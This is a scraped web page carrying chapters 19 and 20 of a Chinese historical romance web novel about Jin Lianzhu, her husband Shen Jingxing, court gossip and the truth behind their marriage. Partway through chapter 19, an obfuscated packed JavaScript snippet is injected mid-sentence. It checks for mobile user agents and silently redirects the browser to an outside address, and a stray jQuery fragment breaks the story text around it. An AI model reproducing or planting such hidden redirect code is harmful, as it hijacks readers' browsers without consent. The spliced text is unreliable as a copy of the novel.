这一回的确是葛氏主动接秦凌莲来府上坐客,难保秦凌莲的后母没有攀附之心。这样复杂的人家,不宜染上干系。 待这方事了,葛氏做主为秦凌莲寻一门好姻缘,备上丰厚嫁妆,让她风风光光的从沈家出嫁,也算全了这些年的亲戚之谊。 葛氏心烦意乱着,不欲同下人过分解释,只道:“快去。” 话声未落,她突然想到某事:“大娘子最近频频出门,只见了甄氏?” 周妈妈略一思忖,答曰:“听闻,大娘子淮州娘家的一位义兄来了。” “作甚?” “兴许,想趁着使臣朝拜的机会,做些生意。” 葛氏到底看不惯商贾那些逐利的行径,轻蔑一笑:“查查。” 周妈妈不敢耽搁,赶紧出门。 院子里头站着个人,走近才发现是秦凌莲。 她也许刚到,还没来得及唤人进去通传,端着一盘子出锅不久还冒着热乎气的梅花饼,软声:“周妈妈。” 周妈妈乐颠颠地见礼:“表姑娘。” “老夫人已经歇下了,您不妨晚些时候再来。” 秦凌莲面露可惜,却并未纠缠,福身告辞离开。 无人瞧见之时,她眼神蓦地冷下来,俨然是窥听到方才屋内的主仆二人的对话。一字不落。 - 春闱开始之前,身为主考官之一的沈敬行便入贡院住着。 前夜两人闹腾的太晚,终了时,天际已经擦亮。 靳连珠困得东倒西歪,强撑着不睡下,生怕再睁开眼,沈敬行就不在身侧了。 见状,沈敬行大掌轻抚她的背脊,哄着她快睡,不欲让她辛苦相送。 岂料靳连珠犟的厉害,天不亮就起身检查他携带的包袱,生怕落下什么要紧的,耽误他这几日的休息。 送至贡院后门,靳连珠不舍得拉着沈敬行絮絮叨叨半晌,卡着时辰放开他,眼眶红一圈,可怜兮兮地挥手:“官人千万要照顾好自个儿。” 沈敬行刚为官的时候年岁尚小,起初葛氏还会送一送,后头或许是他在外公干的次数太多,已经见怪不怪了,干脆就遣人相送,不再亲自露面作无谓的哭啼。 日子一长,沈敬行被锤炼成独立的性子。若突然有人相送,拉着他叙话不停,反倒觉得聒噪麻烦。 可当下却又是另外一种感触。 兴许是他已经娶妻,成了家,有了牵挂。昨夜在榻上,他们还商量给以后的孩儿取什么名儿。 兴许是靳连珠那声“官人”叫得情真意切,使得他心头涌入万千思绪。一想到接下来许久无法与她相见,各自枕着冰冷的枕头入睡,竟也变得念念不舍。 沈敬行回过头,瞧见靳连珠捏着帕子,眼尾氤氲着薄红,泪眼汪汪。 跟随在侧的两个女婢轻声提醒她该离开了,她却一动不动地站在原地,打定主意要看着沈敬行入内。 沈敬行心弦一动,迈入门槛儿的那只脚收回,大步流星冲着她而来。 不待靳连珠有所反应,他伸长胳膊,把她紧紧搂入怀中。头一回,不顾周遭的视线,于外头做出这等缠绵的姿态。 靳连珠一愣,随即回抱住他——双手从腋下穿过去,从后背反扣住他的肩头,踮起脚尖,把自己送入他怀中。强忍一路的泪珠子终是滚落,哽咽:“官人。” 沈敬行摸了摸她的墨发,安抚:“哭什么,又不是三年五载都不回来了。” “……” 说是这么说。 可,他们的感情才将将亲密起来,就要面临分别。 靳连珠难免惴惴不安。 沈敬行不会讲那些哄人的甜言蜜语,沉思片刻,道:“这几日你且安心歇一歇,抽空带着女婢们到外头瞧一瞧,有什么你喜欢的、适合岳丈岳母的物什,只管买下来。待我归家,待义兄事毕,咱们一道回淮州。” 19. 第十九回 靳连珠揪着帕子,揩去泪珠,生怕自己这副哭哭啼啼的样子被瞧去,招惹笑话。她垂着头,不再看他,细声细语地道:“成,我等你回来。” 左右不过五日光景。 更长的时候又不是没挨过。 沈敬行嗯一声就没了下文,捏着她泛凉的手迟迟迈不开双腿。 两人面对面站着,一时无话,相思之情却在悄无声息之间蔓延开。 直至身后传来同僚含笑地催促,方才恍然回神。 靳连珠嗖得抽回手,背到身后,嗫嚅:“官人去吧。” 沈敬行不语,垂眸沉沉地看着她。 抻长的脖颈似白玉无瑕,脸上红霞缭绕,眼睛水凌凌的,一袭随风飘动的青衫浑像远山边一团烟雾。 他突然觉得五日未免太久,拉拉手、说说话根本不足以支撑他独自扛过去。 但有外人在,他也做不出房中那些亲昵的姿态。 故而寒着脸略显冷淡地颔首,看向敛秋,叮嘱他照顾好大娘子,接着拎上箱奁,头也不回的走了。 - 玉莲、曲莲的婚事皆定在本月,一应事宜年前便打点完毕,靳连珠对她们的终身大事格外上心,处处都要亲力亲为,倒也不嫌琐碎麻烦。 因着靳连珠当年远嫁,山高水远的,期间难免有许多礼节未全。 靳连珠了解不多,担心安排出现纰漏,干脆从外头请个经验老道的喜婆子帮衬着自己。 曲莲先头成婚,待把她欢欢喜喜送出门,紧接着就到玉莲。 她穿得一身火红,描着精细的妆容,如花朵儿一般娇妍。即将出门前,素来性子平平淡淡的人突然忍不住,转身冲回来抱着靳连珠哭个没完。 靳连珠看着玉莲梨花带雨的样儿,心肝又软又疼,以为玉莲不乐意成婚,搂着她不撒手,扬言要让这场婚事作罢。 吓得白芷赶紧阻拦:“新妇出门前都会哭一哭,娘子当初也是这么过来的,可千万别意气用事。” 白芍也帮腔:“是呀是呀,新郎官和接亲队伍已经在侧门候着了,催妆的物什接连送了好几茬,咱们这会子可后悔不得。” 靳连珠听不进这些,捧着玉莲的小脸郑重询问她的想法,保证说,若是不愿意就不嫁,天塌下来都有她这个做主子的顶着。 玉莲咬着下唇沉思半晌,最终还是说自己心甘情愿,遂堪堪止住泪,命人重新描过妆,脚步沉重地迈上肩舆。 这桩事弄得靳连珠心里头不太平,担忧自己个儿犯糊涂把玉莲下半辈子害苦了,纵使白芍和白芷轮番上阵劝她,她还是不能轻易释怀。 待找到机会,靳连珠戴上长帷帽溜出府,到玉莲婆家附近打晃,暗地里向街坊邻居打探消息。 所幸茶摊老板与那家有些旧交,把这位小郎君夸得天上有地上无,除去读书读得性子傻,其余倒也挑拣不出甚么错。 上月底,他被分配至邯江县的县衙任主簿一职,本应立即动身,念及他已有婚约,上头的大人便开恩允他再拖几日。 茶摊老板从靳连珠这儿拿走一锭沉甸甸的银子,乐得眼角绽开细密的皱纹,立即打开话匣子,言辞不忌。 “这位小郎君是个顶心诚的人。换作旁的人,一朝入仕,哪还顾得上曾经的誓言,必要娶个门当户对的大娘子。可他不嫌弃那新妇曾经为奴为婢,为着让她走之前再与旧主见上一面,又求着大人开恩,多留他们夫妇两日。” 靳连珠自然晓得,只要上头有调令,就算天塌地陷也得立即动身,违抗上令的后果不堪设想。身为工部尚书的沈敬行大婚不出半月便离开永平城了,难得这位郎君为玉莲考虑至此。 可她仍心中不喜,怼道:“那位新娘子又不是卖身入府,现在以良家的身份嫁给他合情合理,有什么可置喙的。” “新娘子在沈家乃一等女使,相貌、品行、本事皆不俗,摁下这些不论,小郎君如今倒是入仕了,但家中可谓一穷二白。而新娘子的嫁妆丰厚,还是沈家大娘子亲自置备的,起码下半辈子无忧了。算起来,怎么不是这位郎君高攀了?” “当初是小郎君自个儿立誓要娶人家姑娘,否则沈大娘子还不乐意把养这么久的姑娘轻易嫁给他呢。一口唾沫一个钉,做人信守承诺乃正道,转头便忘本的不仅不配为官,更枉为人。” 白芷察觉到靳连珠情绪逐渐激动,骂着骂着,就要把同样为官的家主一并骂进去了,赶紧暗中拽了拽她的衣袖,使眼色让她息怒。 “是是是。” 茶铺老板听出话茬不对,猜测这位看不清长相却气度非凡的女子,十有八九是沈家大娘子,于是话锋一转。 “女子嫁人等同于重活一回,前尘往事就没提的必要了。夫妻两个把日子经营好才是正经。” 偏偏上前添茶的小厮没眼力见,顺势加入话题,想从这位阔绰娘子手中讨些赏银:“此言差矣,夫妻之道可没您想象的那么简单。门当户对、心意相通是一方面,更多的还是良心二字。” 茶铺老板脸色一暗,正欲一脚把他踹开,却听婉啭女音响起:“仔细说说。” 小厮登时来了劲儿,斟上茶,侃侃而谈起来。 “人生在世几十年,见识过的事或人万万千,凭甚么确保现在身边的人便是漫长一生中最适合自己的那个?如若日后见着一个更加优越的,又凭甚么确保自己就有如此高尚的品德,可以不动念?纵使不愿,却也不得不承认,追名逐利乃人之常情,反倒忠贞不渝的实为少数。” 这回轮不到靳连珠反驳,白芍先忍不住质问:“照你的说法,只消对方有良心,可以把日子凑活过下去,这桩婚事或这个人便是好的。至于两人之间有没有感情,反倒不重要了?” 小厮竟然笑着颔首。 “夫妻朝夕相对,日子一长,自然会暴露本性,到时候生出龃龉,更严重的争论不休,反倒把最初的情分消耗殆尽了。如若再遇见一个体贴冷暖的新人,难保不会生出二心。” “况且成婚之后哪有关起门自己过活的道理,亲戚之间、妯娌之间、婆媳之间,方方面面皆是门道。只靠着抓不住、摸不着的感情度日并非长久之计。” “须知人都是会变的,一颗心隔着肚皮,往往变故就发生在措手不及之时。把握住话事权柄,遇见麻烦自个儿能有法子解决,不比一味依附他人要强?” “遇见一个知冷暖、懂报恩的郎君,实乃天下最难得的幸事。大多数时候,日子得以过下去,全凭着良心或者一方手段过硬留得住人,而非感情有多深厚。” 说到这儿,小厮顿了一顿,笑容更开:“姑娘不懂得其中关窍也是正常。” “你!”白芍听得出他暗讽自个儿没出嫁,又羞又气,脸都红了。 靳连珠轻呵住白芍,亦并未责怪小厮的僭越。 兀自沉思一阵,她从腰侧解下钱袋子,慷慨给他一锭银子。在小厮欢喜雀跃的话语声中离开茶铺。 马车停靠在不远处的巷子里,靳连珠上车之后没急着回去。 直至傍晚,那家人的小门开了。 靳连珠掀开一角帘子,远远窥见一位小郎君现身。 玉莲紧随其后追出来,往郎君掌心塞入正暖和的手炉,又紧了紧他斗篷上的系带。 因着刚大婚,图个吉利,玉莲头戴红花,身穿红衣,美得惊心动魄,涂着脂膏的双唇翕张,不知道说了一些甚么,逗得郎君笑弯腰。 玉莲羞恼地锤他,手刚落到他肩头就被攥住。 趁着四周无人经过,小郎君直接凑上去啄她唇角,一触即离,闹得玉莲面红耳赤。她揪着袖子使劲儿擦拭,还不忘补上一脚,踹完就回家了。 郎君便也转身离去。 人影刚消失在街巷口,原本紧闭的小门开了一条缝隙,玉莲探头出来瞧了一眼就飞快缩进去,跟含羞带怯的花朵儿一般。 不多时,她又出来瞧,打心底盼着郎君快些回来。 新婚正是如胶似漆的时候,郎君自然也牵挂着娘子,采买完便急急忙忙往家赶。他臂弯挎着竹篮,里头装着的尽是一些女儿家的爱物,怀里还抱着一束花,玉莲接过来嗅了嗅,眼角眉梢都带着欢喜。 郎君从袖兜里掏出一只精巧的瓷瓶,玉莲瞥一眼,立即惊得花容失色,赶紧把他拽进去,砰得关上门。 掠起的风裹挟地面的叶子打着旋,替里头的一对鸳鸯欢腾。 靳连珠并非不经人事的小姑娘,自然晓得那是治什么的药。 她会心一笑,掏出一枚玉佩用帕子裹好,递给外头的白芷,吩咐她送过去,“让玉莲快快随着官人前去赴任,我这方无甚值得她留恋。千万叮嘱她过好自个儿的日子,不要节外生枝。” 心里却想:这一别山高水长,不晓得以后有无再见的机会,靳氏在邯江县设有分店,日后如果玉莲遇见麻烦,只管拿着玉佩去找掌柜的,那儿的人自然会尽全力帮助。 主仆一场,这是她最后能为玉莲做的事了。 支使完白芷,靳连珠感觉身子一阵不爽快,遂唤人先驾车回沈家。 甫一踏入门坎儿,靳连珠终于慢慢回过味儿来。她哪里是身子不适,分明是把那小厮的胡言乱语听入心里,一路上尽寻思这些了,无端惊起万千愁绪。 靳连珠无可奈何地笑笑,打算让小厨房做一碗热乎乎的羹汤,待她填饱肚子,脑子变迟钝,也就不会胡思乱想了。 那方刚吩咐下去,便见周妈妈步伐匆忙迎入门,脸上堆着笑。 靳连珠心中咯噔一声,背脊抖成筛糠,仿佛耗子见了猫。 果不其然,周妈妈是替老夫人传话来了:“请大娘子前去叙话。” 靳连珠如坠冰窟,笑都不会了,脑子飞速回忆这段时日自己有没有犯下过错,可惜无果。她木木地迈开步子,小心打探:“周妈妈可知为着何事?” 周妈妈投来安抚的目光:“有客到访,大娘子该去见一见的。” 闻言,压在靳连珠心头的一块巨石轰然落下。 暗暗安抚自个儿:只要别是责罚便好。 旋即,靳连珠咂摸出一丝不对劲。从前婆母嫌弃她登不得大雅之堂,鲜少让她见客。今日怎么突然改性子了? 靳连珠再度惴惴不安起来。 到达碧波轩,一进院子便听见银铃般的笑声。靳连珠进屋发现,除去春节上门拜会的几位夫人,又添了几张新鲜面孔,皆为年轻姑娘。 依照这些高门贵妇的行事作风,惯来只带着嫡女见客,可堂上坐得皆为各家的庶女,虽然生得好姿容,却低眉顺目,十分卑谦。 一眼看过去,大抵都到了适婚的年岁。 靳连珠隐约觉得事态不妙,面皮上没露出丝毫破绽,向客人们一一见过礼,落座尾端。 此后他们只管聊他们的,靳连珠凑不进去,干脆就装作缩头乌龟,一声不吭直至散场。倒也没发生她担忧的事情。 葛氏借口乏累,差靳连珠送客。 途中绥武府的二姑娘主动与靳连珠攀谈,言辞中对她鬓间那支攒珠钗表现出极大的兴趣。 原也不是什么值钱的玩意儿,靳连珠干脆命人到库房取出两支新的钗,赠予她与另外那位没露面的嫡次女。 借着这一遭,靳连珠也知晓了二姑娘的闺名,唤作:吴元意。 这姑娘生得“丹唇外朗,皓齿内鲜。明眸善睐,靥辅承权”,这么好的姿色,倒也担当得起元意二字。 闲谈间,已行至马车前。 吴元意毕恭毕敬的行一礼,靳连珠反倒被她郑重的姿态弄得受宠若惊,客客气气送人离去,返回雅韵轩用饭。 消食沐浴之后,靳连珠一身清爽地躺在榻上翻阅话本。许是外人的话影响颇深,她看这些话本子都没了往日的乐趣。 满纸男情女爱,今日之亲昵,明日之凉薄,终究镜花水月一场。 靳连珠没心思再看了,打算明日送还给甄宛筠,遂吹灯睡下。 - 倒没想到甄宛筠先派人寻到府上。 靳连珠匆匆赶过去才得知,甄宛筠的小姨子就要出嫁,府内繁忙,甄宛筠多有照顾不到之处,一则请靳连珠来帮帮忙,另一则,沈敬行不在家,她独自待着也是无聊,不如出门散散心。 靳连珠笑着谢过甄宛筠的好心,陪她一道操持成婚事宜。 原本以为有玉莲、曲莲的婚事在前,再算上自身嫁人的经验,必定应付得了。可真的忙活起来,靳连珠才发现流程大不一样。 同样都是嫁给官宦人家,许多仪式都是靳连珠没见过的。她不傻,怎会品味不出自己个儿当初原来是被沈家刻意冷落了。 那一场婚事办得潦草,拜过堂、入洞房就了了,竟连眼前一半的阵仗都没有,更比不上甄宛筠的十里红妆。 靳连珠掐着手掌心,压抑着心底翻滚的情绪,努力集中精神听甄宛筠讲解: 大婚前日,男方家要将催妆的凤冠霞帔、花粉送往女方家,女方家回送公服、花幞头之类的东西。 紧接着,女方家派人到新房挂上帐帷,铺设卧房,陈列嫁妆,这就叫作“铺房”。而男方家要将茶酒、喜钱之类的礼品赠送给前来铺房的女方家人。 这一来一往,婚前的准备事宜就做完了。 说着简单,真处理起来却麻烦。 一直忙活至入夜,靳连珠累得抬不起胳膊,仍撑着精神要回沈府。 甄宛筠不懂她固执什么,索性先一步差人送信儿回去禀告老夫人,要留靳连珠在家中过夜。 闻言,靳连珠吓得白了脸,顾不得甄宛筠说些甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132679|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,魔障似的往外走。因着天黑,光线昏暗,靳连珠慌不择路,险些一头栽入池子里。 跟上来的仆妇见状乱成一团,甄宛筠提着灯笼观察靳连珠有没有受伤,急道:“又没豺狼虎撵你,你慌什么,竟连命都不要了。” 确认靳连珠无妨,甄宛筠才得以松口气:“我派去的人还没出门,老夫人那边就传口信来了。她老人家体谅你的身子弱,夜深露重,来回奔波,恐着凉生病,允你在这方留宿。” 服下这颗定心丸,靳连珠上上下下乱跳的心稍微缓和一些,期期艾艾的思绪也从惊恐中慢慢恢复过来了,唯独眼神还涣散着,环顾一圈围着的人,后知后觉的涌上一股难堪。 她死死咬着唇,眼眶不知觉红了一圈,由白芷搀扶着进了屋子。 甄宛筠晚一步入内,让伺候的女婢都退下。 关了门,她直白道:“且安心,我这儿的人嘴巴严,不会泄露分毫。” 靳连珠脸颊火辣辣的疼,低着的脑袋就没抬起过,仿佛被踩入泥坑沾满污秽的娇花儿,让人心生怜惜。 婆媳不睦乃常事,但怕婆母怕成靳连珠这样子的,甄宛筠当真头一遭见。 不知道的见状,恐以为靳连珠不是做大娘子,而是给那对母子当仆役去了。稍有不慎,主人家就罚就骂,弄得她整日战战兢兢,时刻提防小命一条。 ——这算什么事儿啊! 从前有些话,甄宛筠不敢说,但现在为靳连珠着想就不得不说了。 以防吓着靳连珠,甄宛筠努力克制一腔怒火,给她支招:“你就该当着沈敬行的面儿大哭大闹一场,让他心软、怜惜,从此彻底站在你这边。最好是闹得他分家,否则,你一辈子都逃不过老夫人的手掌心。” 靳连珠晓得她好心,勉强挤出一抹笑:“不成的。高堂在座,官人擅自分家,只会招惹一些流言蜚语,有损他的……” “你管他恁些。” 甄宛筠真想撬开靳连珠的脑壳瞧一瞧,如此天仙般的女子,怎么沾上情爱就傻了。 她环着胳膊,冷哼:“别是沈敬行不乐意吧。他这人向来迂腐,守着那套死板的规矩不知道变通。你们夫妻朝夕相对,你有多么痛苦,他全然不知?” 靳连珠辩解:“不不不,官人跟我是一道的。” “如若真跟你一道,他便不会是如今这副作派了。” 甄宛筠憋了许久,吐槽起来亦不留余力:“当初你们成婚,我家官人本以为能过去吃一杯喜酒,连礼都备好了,没成想,沈家连个正经宴席都没摆,只叫家中耆老过去看着你们拜完堂就算了了。” “之后听闻你们成婚没多久,沈敬行便主动向官家请命外出公干,一走数月,全然不顾你在家里的处境。而沈家的人,必然得到老夫人的授意,四处宣扬你体弱多病不便见客,这便是打着将你慢慢抹杀的主意。” “虽然不知道你与沈敬行的旧事,但……” 甄宛筠顿了一顿,瞅一眼靳连珠哀戚的表情,一鼓作气说下去:“但皇城中一直有传闻,说你家借着早年间对沈敬行的一药之恩,威胁沈家认下这门婚事。否则,依照老夫人的作派,决计不允许你入门。” “没有的事儿!” 靳连珠眼睛瞪得滚圆,调子拔高些,一口否认:“我家绝对不会做这等挟恩图报的卑鄙之事。况且,官人一直与我通信,六年间从未断过,娶亲怎会是他不得已而为之?” 甄宛筠一愣,见靳连珠气得胸口起伏不定,面色涨红,紧攥的双手颤抖不止,生怕她有个三长两短,赶紧安抚道:“我也是听说的,当不得真,你莫急。” 靳连珠吸了吸鼻子,忍住汹涌的泪意,“我省得,外人都道我与官人不般配,千方百计编一些由头试图曲解我们的情分。可是……” 可是什么。 她突然失声。 沈家举办婚仪时诸多礼仪未周全,当真是因为两地离得忒远,许多事情无法操办,而不是心存怠慢吗? 如若年前她没有生一场大病,眼瞅着就快不行了,沈敬行会处置那些胡乱传谣言之人?还会像现在这般待她如此热切吗? 老夫人真的是因为沈敬行与她两情相悦、扬言非她不娶才怨恨吗?这么久以来,老夫人的怨恨有没有消解分毫? 这些问题,她自个儿尚且没有得到答案,又如何说出口劝服外人。 靳连珠一哽,繁杂思绪吵得她脑仁疼,眼神木木的,脸色愈发难看。宛如入魔一般,喃喃自语:“官人若是无情,怎肯娶我。” 像是说给甄宛筠听,又像是自我开解。 见状,甄宛筠可不敢刺激她了,赶紧迎合说:“是是是。” 随即唤白芷、白芍进来伺候,直至靳连珠睡熟才敢离去。 - 屋内点着安神香,靳连珠安安生生地睡一觉,再醒来只觉神清气爽,那些乱七八糟的事情皆抛之脑后。 唯独不知道自己昨夜那般失态,今日该怎么面对甄宛筠。 幸而甄宛筠并未往心里去,一大早就来寻靳连珠,陪她吃完早饭,亲昵地挽着她的胳膊去别苑看新娘子。 到迎娶新妇的时候,郎君家用花朵装饰的车子前来接亲,腰间系着红绸的女婢们款待前来迎亲的客人,并且向他们赠送颜色鲜艳的绸缎,然后迎亲队伍奏乐催促新娘梳妆打扮。 等新娘梳妆完毕,准备上车的时候,抬肩舆的人起哄不肯启程,吵嚷着要喜钱。待女婢们洒出铜板,他们一哄而上抢个干净,这才肯起檐子。 稍后,甄宛筠须得陪着婆母到厅上迎接前来吃席的宾客,靳连珠便带着两个女婢到后院躲一躲清闲。 倒没料想会在此处遇见别家的姑娘。 个个儿打扮非凡,聚在树下乘凉聊天,桌面上放着瓜果盘,茶香丝丝缕缕随风飘拂而来。 靳连珠与她们不相熟,干脆就躲开了,从另外一条道走。 忽而听见其中传到一道高亢的女声,嚷着:“别闹了,你敢说你不知?元宵那日,我亲眼瞧见沈大人跟吴二姐姐一道去了茶楼,进雅间聊了许久才离开。” 另有一女附和:“相看就相看呗,不日就要成为一家子,何必拘泥恁多。” “听我嫂嫂说,纳妾乃沈大人的意思,老夫人年节入宫的时候特地跟太后娘娘提及此事,想着择一位品貌上乘的姑娘,挑选许久,这才看中你家二姐姐了。” “太后娘娘的原话说得是,绥武府嫡出的两个女儿在皇城中素有美名,其余的姑娘应当也不差。老夫人见到吴二姐姐甚为满意,赞她是世间难得的贤良人。” “——话又说回来,比之粗鄙出身的靳大娘子,皇城中岂非遍地都是能入老夫人眼睛的娇美人?” 靳连珠脚步一滞,不敢置信地转身望去。 20. 第二十回 坐在一群贵女中的吴四姑娘明显不喜这个话题,却还是抿着嘴勉强笑了笑,随便扯了个由头,试图岔开。 偏偏有些个不识眼色的,上赶着触碰逆鳞。 两张嘴皮子一碰,说得起劲儿。 “靳氏也是自作自受,真以为挟恩图报求到的姻缘能落下个好?可怜沈大人,被这么一个恶毒妇人缠上,当真家门不幸。” “听闻靳氏善妒又不擅理事,内宅的事务都交给女账房处理,还非要占着管家权。她身子太弱,恐怕不能生育了,沈家就沈大人这一根独苗,纳妾实属情理之中,可她不许,撒泼打滚,一哭二闹三上吊,可谓无所不用其极。” “沈大人仁慈,见她糟蹋自个儿的命,干脆让出一步。” “可这么下去,沈家就真没后了。老夫人没法子,只得厚着脸皮把内宅的事儿拿到太后娘娘面前说道,借着大内赏的恩情行事。” 一位伸长胳膊拿果子的姑娘面露鄙夷,好胃口都被弄没了。她看着吴家四姑娘,十分担忧:“靳娘子如此刁钻蛮横,二姐姐进门之后会不会受委屈?” 不待吴四姑娘出声,另一个打扮华丽的姑娘抢先开口,嚣张且轻蔑:“她吃了熊心豹子胆才敢这么干。” “多虑了。”接过话茬的女子容貌清丽,语调也婉啭些:“靳娘子肯赠予吴二姐姐发钗,自然是打心底里满意她的。” 吴四姑娘到底未出阁,听见她们这么肆无忌惮地讨论自家事,脸皮有些挂不住,寒了眼色,正欲开口制止,却先瞥见不远处小道上的倩影。 其余姑娘们紧随其后发现那方的景色。 心下泠然:好一个画中仙。 人似皎皎月,皓腕凝霜雪。尤其一双眼睛生得极其漂亮,灿若繁星,弯如月钩,魅却不俗。聘聘婷婷的一个娇女子站在那儿,衬得满园春色都黯淡了。 见她绾着妇人发髻,纷纷好奇是哪家的夫人。 冷不丁听见吴四姑娘唤:“靳娘子淑安。” 众人俱是一骇,尤其方才那几个大言不惭的姑娘立即低下头,心底怕极了。 所幸靳连珠大度,未同她们计较这些,微一颔首算作回应,旋即带着两个女婢走上较偏僻的一条小路。 待人完全消失于视野中,吴四姑娘才冷脸发作:“一个个怎有恁多话要讲,拿着他人内宅之事作谈资,真不嫌臊得慌。不管二姐日后嫁什么人都是她的事,不必到我的跟前儿念叨。如若再有下一次,休怪我不留情面。” 撂下这句,吴四姑娘径直往席间而去。 徒留剩余几人面面相觑。 不知过去多久,有道怯怯的声音打破沉寂:“前不久,茶肆里的说书先生们还在讲沈大人和娘子的缱绻绯事。传闻沈大人意志坚韧,应当不会因为女子掉几滴泪就软了心肠,如若靳娘子哭一哭、闹一闹便使得沈大人退步,或者改变既定的想法,那也该是沈大人心中有她,甘愿为之。” “况且——” 靳娘子生得这样美,就算听见针对自己的恶言恶语也能宽容以待,浑然不似别人口中凶恶的夜叉。 小姑娘这边瞅瞅,那边瞧瞧,拿捏不定谁跟自己一条心,唯恐贸贸然说出心里话会遭到排挤,干脆做起老好人:“总归都是别人家的事,咱们就别管了。” 她的提议得到最中间那位姑娘的首肯,一群人便轻而易举的放过这个话题,欢欢喜喜地聊起时下新兴的钗环、妆容。 - 春雨突如其来,不出片刻光景便淋湿整座皇城。 辘辘车行,碾开地面一道道泥泞划痕,周遭遍布凌乱脚印,雨珠砸入凹陷的坑里又荡起层层涟漪。 倏有一阵风起,吹得雨丝歪歪斜斜,拍打着摇晃的帘子。 车厢内静得可怕,白芍鲜少有如此乖觉的时候,垂着脑袋,双手搅着衣袖,大气不敢喘。 白芷拿火钳拨弄盆中炭,满心思都在想该甚么安抚娘子。 唯有靳连珠,表情清清淡淡,仿佛未曾在后院碰见那些个多嘴多舌的人。可再仔细一瞧,便会发觉她眸底凝着的肃重。 马车到达某条巷子前方时,靳连珠冷不丁掀开帘子,吩咐:“在吉德客栈门口停,我有些事要办。还有,方才我走得太匆忙,忘记知会甄娘子,你身手利索,替我去一趟,只说家中有急事,别的不必提。” 拂冬先答应,把马车停靠在街旁,搀着靳连珠下车。 这些年他跟着家主风里来雨里去,见识过诸多场面,早已养出一颗玲珑心,当即察觉出靳连珠情绪不对。 想必刚刚的话只为着支开他,以防后头要办的事或见的人被沈家人知晓。 拂冬内心难免挣扎,不过,很快便想清楚了:家主是主子,大娘子也是。既然大娘子有令,他不得不服从。 于是整理一番蓑衣,解开链接的绳索,骑马奔驰而去。 客栈内住满南来北往的商客,这会子一楼更是聚集着躲雨的散客,乌泱泱一群人,各种气味混杂在一处,刺鼻的很。 突有一位美娇娘到访,用不着小厮上前问候,掌柜的立即现身,巴巴地凑上来献殷勤,口中嚷着:“贵脚踏于贱地,蓬荜生光。” 大堂内亦不缺明里暗里垂涎美色的人。 两个女婢急忙挡去靳连珠跟前,拧眉作凶恶状:“我们是来找人的。” 话音刚落,靳连珠看见出现在二楼长廊里的靳子骞。 他同样也瞧见她,怔愣一瞬,大概以为自己个儿出现幻觉了,赶紧揉了揉眼睛,再去瞧,发现那抹倩影仍然伫立在此。 他惊讶之余又涌起万般焦灼。 靳家固然不缺银钱,靳子骞却并非挥霍之人,平素外出的盘缠能省则省了,吃得苦、耐得劳,住在这儿没觉得有何不妥,但靳连珠一出现,事态便不同了。 看他的动作,本能的要立刻下楼迎接,却不知想起什么,生生止住脚步,做个手势,示意她到前方不远处的茶馆碰面。 靳连珠了然,叫上两个女婢撑伞走人。 耽搁这会子功夫,落雨愈发急切,砸在伞面上噼里啪啦作响,坑里溅起高低不一的水花,弄脏靳连珠的裙摆。 她惯来爱美喜洁,眼下却顾不了这些,十分阔绰的向店家要一间位置僻静的上等雅间,随便点几样果子蜜饯,按捺着心底的焦灼等待靳子骞赴约。 不多时,靳子骞撑着伞急匆匆赶来。 风吹着雨打湿他半边身子,白芍从袖中掏出帕子想帮忙擦拭,却被靳子骞挡下。 白芷见势不对,忙拉上她退出去守着,因作万全考虑,特地余下另半扇门没关。 靳连珠摊开手,声淡:“义兄请坐。” 靳子骞脸色阴沉,俨然气急了,调子也高些:“你如今身份不一般,怎好直接来此等腌臜地,有事尽管差人知会一声,另约个像样的地方碰面岂不圆满。沈家规矩多,你这样莽撞行事,传到他们耳朵里,免不得会被苛责。” “无妨。”又是极冷淡的一声,仿佛心已死,万般皆不在意了。 靳子骞这才发觉靳连珠的神色不对,眉宇间拢着一团挥散不去的浓愁,眸底光芒黯淡,宛如一潭死水。 她木着一张脸端坐在对面,活像个快要维持不住形态的雾气。 靳子骞心底一咯噔,呼吸不自觉放轻放缓,小心询问:“发生何事了?” 靳连珠一时无言。 实在是她脑海中糅杂着千万思绪,一呼一吸之间,仿佛魂魄脱离肉身,穿梭光阴,把前尘往事重新经历一遭。 待回过神,人已经坐在茶楼了。 靳连珠后知后觉忆起约见靳子骞的目的,只是满肚子的言辞达到嘴边,一下子提不起勇气问出口。 所幸,靳子骞看出她的为难,一直耐心候着,并未催促。 雨势愈发大,天上乌云密布,惊雷滚滚而来。 伴随着震耳欲聋的动静,靳子骞皱起眉,侧着脸,竭力倾听,勉强从中分辨出靳连珠微弱的声音:“永平城与淮州相隔甚远,许多事无法向父母问起,幸而,义兄就在眼前。事关重大,义兄如若知晓真相,哪怕分毫,都还望坦诚相告。” 靳子骞心头一震,望着她雾蒙蒙的双眸,隐约有了猜测。他双手缓慢蜷缩起来,紧攥成拳,嗓子霎时间干涩不已,无比艰难地颔首:“成。” 靳连珠深吸一口,复又缓缓吐出口,郑重道:“我与沈家的婚事,究竟是不是父亲挟恩的结果?” 分明不是当事人,靳子骞听见这话,却也难受到不敢直视靳连珠,生怕稍有不慎就毁掉她沉浸多年的美梦一场。 可惜,梦终归是梦,早晚都要醒。 既然她主动发问,想必已经察觉到端倪。 那么,他也没有继续隐瞒下去的理由。 靳子骞回忆一番母亲大人信中所叙事实,斟酌开口:“别怪父亲。他只是,见不得你神伤。” 纵使暗地里做过假设,靳连珠仍旧被这话打了个猝不及防,脑袋木的发胀发痛,指尖颤抖不止,面如土色,微微张着嘴,却是一声也发不出来。 靳子骞清楚她这么多年把最赤诚的感情悉数交付沈敬行,一朝揭开真相,无异于往她身上捅刀子。 他心有不忍,却不得不把自个儿当作那把斩断乱麻的快刀,硬着头皮,继续说下去。 “当年沈大人命悬一线,你冒着严寒到山上寺里为他诵经祈福,不眠不休、滴米未进,整整持续三天三夜,导致落下咳疾的毛病。” “家里人从未见过你为什么人或事拼上一条命,知道你这是动真心了,父亲不想你的一腔深情化为乌有,这才……” 